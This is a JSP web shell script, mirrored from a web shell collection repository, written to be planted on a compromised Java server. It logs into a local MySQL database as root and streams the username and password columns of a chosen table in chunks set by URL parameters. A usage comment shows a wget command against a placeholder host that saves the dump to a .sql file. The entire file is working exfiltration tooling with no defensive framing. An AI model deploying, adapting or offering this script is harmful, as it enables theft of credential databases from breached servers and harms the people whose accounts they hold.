mirror of
https://github.com/tennc/webshell
synced 2024-09-20 22:01:58 +00:00
85 lines
2.5 KiB
Text
85 lines
2.5 KiB
Text
|
<%@ page contentType="text/html; charset=utf-8" %>
|
|||
|
|
<%@ page language="java" %>
|
|||
|
|
<%@ page import="java.sql.*" %>
|
|||
|
|
|
|||
|
|
<%
|
|||
|
|
//author: By Gavin
|
|||
|
|
//Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql
|
|||
|
|
|
|||
|
|
out.clear();
|
|||
|
|
//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
|
|||
|
|
int MAX_LIMIT_NUM = 20000;
|
|||
|
|
//最大缓存条数，防止占用过多内存，根据每条数据大小调整
|
|||
|
|
int MAX_CACHE_NUM = 5000;
|
|||
|
|
|
|||
|
|
//驱动程序名
|
|||
|
|
String driverName="com.mysql.jdbc.Driver";
|
|||
|
|
// 数据库地址
|
|||
|
|
String dbAddress = "127.0.0.1:3306";
|
|||
|
|
//数据库用户名
|
|||
|
|
String userName="root";
|
|||
|
|
//密码
|
|||
|
|
String userPasswd="root";
|
|||
|
|
//数据库名
|
|||
|
|
String dbName="DBName";
|
|||
|
|
// 查询字段
|
|||
|
|
String columns[] = "username,password".split(",");
|
|||
|
|
//表名
|
|||
|
|
String tableName="table_name";
|
|||
|
|
|
|||
|
|
// 接受参数
|
|||
|
|
int startNum = Integer.valueOf(request.getParameter("sn")); //接收起始条数
|
|||
|
|
int endNum = Integer.valueOf(request.getParameter("en")); //接收结束条数
|
|||
|
|
String ln = request.getParameter("ln");
|
|||
|
|
if (ln != null && ln != "") MAX_LIMIT_NUM = Integer.valueOf(ln); //接收每次分段查询的条数
|
|||
|
|
int gavin_downNum = endNum - startNum; //计算总下载条数
|
|||
|
|
|
|||
|
|
if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;
|
|||
|
|
int multiple = gavin_downNum/MAX_LIMIT_NUM;
|
|||
|
|
int complement = gavin_downNum%MAX_LIMIT_NUM;
|
|||
|
|
|
|||
|
|
// 连接数据库
|
|||
|
|
String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd;
|
|||
|
|
Class.forName(driverName).newInstance();
|
|||
|
|
Connection connection=DriverManager.getConnection(url);
|
|||
|
|
Statement statement = connection.createStatement();
|
|||
|
|
|
|||
|
|
// 拼装前半部分sql
|
|||
|
|
String sql = "SELECT ";
|
|||
|
|
for(int i=0;i<columns.length;i++){
|
|||
|
|
if(i == (columns.length-1)){
|
|||
|
|
sql += columns[i];
|
|||
|
|
} else {
|
|||
|
|
sql += columns[i] + ",";
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
sql += " FROM " + tableName + " ";
|
|||
|
|
|
|||
|
|
int num = 1;
|
|||
|
|
|
|||
|
|
for(int i=0;i<multiple;i++) {
|
|||
|
|
int newStartNum = i*MAX_LIMIT_NUM+startNum;
|
|||
|
|
if(i == (multiple-1)) MAX_LIMIT_NUM += complement;
|
|||
|
|
String newSql = sql + " limit " + newStartNum + "," + MAX_LIMIT_NUM;
|
|||
|
|
java.sql.ResultSet rs = statement.executeQuery(newSql);
|
|||
|
|
//获得数据结果集合
|
|||
|
|
//ResultSetMetaData rmeta = rs.getMetaData();
|
|||
|
|
while(rs.next()) {
|
|||
|
|
num ++;
|
|||
|
|
for(int j=1;j<=columns.length;j++){
|
|||
|
|
if(j == columns.length){
|
|||
|
|
out.println(rs.getString(j));
|
|||
|
|
} else {
|
|||
|
|
out.print(rs.getString(j)+"-->");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (num >= MAX_CACHE_NUM) {
|
|||
|
|
out.flush();
|
|||
|
|
num = 0;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
rs.close();
|
|||
|
|
}
|
|||
|
|
statement.close();
|
|||
|
|
connection.close();
|
|||
|
|
%>
|